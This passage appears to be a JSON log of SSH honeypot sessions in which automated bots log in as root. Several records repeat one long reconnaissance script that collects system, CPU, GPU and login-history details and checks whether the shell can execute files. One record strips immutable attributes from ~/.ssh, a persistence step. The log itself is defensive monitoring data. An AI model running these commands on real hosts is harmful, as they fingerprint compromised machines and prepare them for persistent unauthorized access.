  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:39:28.484127+00:00",
  "ended_at": "2026-08-27T04:39:28.811010+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d6f04ec6-87c0-42c7-b14e-1da8f0aa42a8",
  "name": "thawing-murky-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 37132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:37:26.206550+00:00",
  "ended_at": "2026-08-27T04:37:26.883742+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "65f25afb-20da-49ca-9d88-9c5979da70a8",
  "name": "brave-cunning-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 34176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:35:21.086778+00:00",
  "ended_at": "2026-08-27T04:35:21.555583+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d0fffd95-c3ac-4554-a3be-d1305d041c03",
  "name": "gentle-lively-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 59440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:33:20.448487+00:00",
  "ended_at": "2026-08-27T04:33:20.619505+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9e90a36e-8ad2-413c-9459-9fd848fb95bf",
  "name": "fearless-sleepy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:31:21.052647+00:00",
  "ended_at": "2026-08-27T04:31:23.085115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "e330f1c0-4221-4025-a922-1fc28ee159ad",
  "name": "foggy-sunlit-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 56478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:31:15.406157+00:00",
  "ended_at": "2026-08-27T04:31:15.591224+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6fc34064-f0a5-4c8b-bb20-5f614acf8d5c",
  "name": "gentle-bitter-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:30:59.431434+00:00",
  "ended_at": "2026-08-27T04:31:01.242355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "768fab50-efa8-4d4e-b633-0a642a71cde7",
  "name": "dusty-rambling-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 53494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:29:07.402685+00:00",
  "ended_at": "2026-08-27T04:29:07.523203+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "598c3e8d-de08-4375-9411-893b5c927720",
  "name": "early-whispering-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:17.423085+00:00",
  "ended_at": "2026-08-27T04:29:16.145011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a3e4464a-3357-4c16-9afe-e09abe9d19c5",
  "name": "painted-bronzed-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 52092,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
